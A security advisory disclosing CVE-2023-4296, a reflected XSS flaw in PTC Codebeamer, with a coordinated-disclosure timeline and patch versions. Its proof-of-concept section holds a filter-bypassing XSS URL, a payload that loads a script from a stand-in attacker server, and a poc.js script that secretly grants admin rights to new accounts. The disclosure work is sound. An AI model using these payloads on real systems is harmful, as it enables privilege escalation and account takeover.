Authored by Niklas Schilling | Site sec-consult.com

PTC – Codebeamer versions 22.10-SP7 and below, 22.04-SP5 and below, and 21.09-SP13 and below suffer from a cross site scripting vulnerability.

advisories | CVE-2023-4296

SEC Consult Vulnerability Lab Security Advisory < 20230829-0 >
=======================================================================
title: Reflected Cross-Site Scripting (XSS)
product: PTC - Codebeamer (ALM Solution)
vulnerable version: <=22.10-SP7, <=22.04-SP5, <=21.09-SP13
fixed version: >=22.10-SP8, >=22.04-SP6, >=21.09-SP14
CVE number: CVE-2023-4296
impact: high
homepage: https://www.ptc.com/en/products/codebeamer
found: 2023-04-14
by: Niklas Schilling (Office Munich)
SEC Consult Vulnerability Lab

An integrated part of SEC Consult, an Eviden business
Europe | Asia

https://www.sec-consult.com

=======================================================================

Vendor description:
-------------------
"Codebeamer offers unique digital workflows that help your teams improve
development collaboration, product line development efficiency, and regulatory
compliance. Codebeamer's open platform extends application lifecycle management
functionalities with product line configuration capabilities, and provides
unique configurability for complex processes. Connect all development tools to
give your teams a single development platform. You can also easily adapt the
solution to specific development needs and automate process control for
regulatory compliance."

Source: https://www.ptc.com/en/products/codebeamer


Business recommendation:
------------------------
SEC Consult recommends PTC customers to install the latest updates.

Furthermore, an in-depth security analysis performed by security professionals
is highly advised, as the software may be affected from other security issues.


Vulnerability overview/description:
-----------------------------------
1) Reflected Cross-Site Scripting (XSS) Vulnerability (CVE-2023-4296)
The dynamic Error Page in Codebeamer is vulnerable to a reflected XSS attack.
It successfully sanitizes malicious HTML tags such as <script> and various
JavaScript events like "onload" or "onerror" that can be used to execute arbitrary
JavaScript code when a certain event occurs.

However, it was possible to bypass these restrictions, allowing an attacker
to inject arbitrary JavaScript code which will be executed in the victim's
browser upon clicking on a malicious link.


Proof of concept:
-----------------
1) Reflected Cross-Site Scripting (XSS) Vulnerability (CVE-2023-4296)
To verify this vulnerability, it is sufficient to open the following URL as
an unauthenticated user in a web browser:
https://<CODEBEAMER_SERVER>/errorHandler.spr?fileName=<html onpointermove = alert(window.origin)>

When a user now moves the cursor anywhere on the Error Page, the
"onpointermove" event triggers, resulting in the execution of the alert()
function.

To further demonstrate the criticality of this vulnerability, the following
XSS payload can be used:

https://<CODEBEAMER_SERVER>/errorHandler.spr?fileName=<html onpointermove =
"if(!document.getElementById('SEC1337')){window.x=document.createElement('script');
window.x.id='SEC1337';window.x.src ='https://<ATTACKER_SERVER>/poc.js';
document.body.appendChild(window.x);}"></html>

Note that the space before the equal sign in "window.x.src ='https://<ATTACKER_SERVER>/poc.js'"
is mandatory, as this section of the payload would otherwise be truncated to
"window.x." by the application, completely removing the URL of the attacker
server.

When an admin user now clicks on this malicious link, an external JavaScript
file will be loaded (poc.js), which can be found below. The included
JavaScript code creates a hidden iframe which loads the page with the User
Registration settings. This page allows to specify, whether newly registered
accounts should get assigned to a certain group via multiple checkboxes to
choose from. The script now automatically selects the checkbox
"System Administrator", resulting in newly registered accounts having admin
privileges in the application. As this attack takes place in a hidden iframe,
the victim doesn't get any visual feedback that the attack is happening.

Attack Sequence:
1. Send the malicious link to an administrator.
2. Wait for the administrator to click on the malicious link.
3. Register a new account with automatic admin privileges.

Content of poc.js:
frame = document.createElement("iframe");
frame.addEventListener("load", function() {
setTimeout(function(){
frame.contentDocument.getElementById("roles1").click();
frame.contentDocument.getElementById("notificationFrom").value = "[email protected]";
frame.contentDocument.getElementById("notificationAddress").value = "[email protected]";
frame.contentDocument.getElementsByClassName("actionBar")[0].childNodes[1].click();
}, 2000)
});
frame.src = "http://<CODEBEAMER_SERVER>/sysadmin/configUserRegistration.spr";
frame.style="position: absolute;width:0;height:0;border:0;";
document.body.append(frame);


Vulnerable / tested versions:
-----------------------------
The following Codebeamer versions are affected by this vulnerability:
<=22.10-SP7, <=22.04-SP5, <=21.09-SP13


Vendor contact timeline:
------------------------
2023-06-05: Sending the advisory to [email protected]
2023-06-05: Vendor confirms receipt of advisory.
2023-06-16: Vendor confirms vulnerability and mentions a fix in version "22.10-SP6".
2023-06-19: Informing the vendor that version "22.10-SP6" is still vulnerable.
2023-06-21: Vendor confirms that the vulnerability still exists in version
"22.10-SP6" and that it's actually fixed in version "22.10-SP7".
Furthermore, vendor asks if we're fine with a public disclosure via CISA.
2023-06-22: Informing vendor that public disclosure via CISA is fine.
2023-06-22: Vendor mentions that he contacts CISA and that he keeps us in loop.
2023-07-14: Asking vendor for a status update regarding CISA.
2023-07-14: Vendor requests access to CISA VINCE for a public disclosure.
2023-07-14: Access granted to CISA VINCE.
2023-08-01: Date of public disclosure set to 2023-08-29.
2023-08-29: Coordinated advisory release.


Solution:
---------
Update version "22.10-X" to "22.10-SP8" or later.
Update version "22.04-X" to "22.04-SP6" or later.
Update version "21.09-X" to "21.09-SP14" or later.

The following URL was provided by the vendor with additional remediation information:
https://codebeamer.com/cb/wiki/31346480


Workaround:
-----------
No workaround available.


Advisory URL:
-------------
https://sec-consult.com/vulnerability-lab/


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Eviden business
Europe | Asia

About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an
Eviden business. It ensures the continued knowledge gain of SEC Consult in the
field of network and application security to stay ahead of the attacker. The
SEC Consult Vulnerability Lab supports high-quality penetration testing and
the evaluation of new offensive and defensive technologies for our customers.
Hence our customers obtain the most current information about vulnerabilities
and valid recommendation about the risk profile of new technologies.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your application https://sec-consult.com/career/

Interested in improving your cyber security with the experts of SEC Consult?
Contact our local offices https://sec-consult.com/contact/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Mail: security-research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: https://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult

EOF N. Schilling / @2023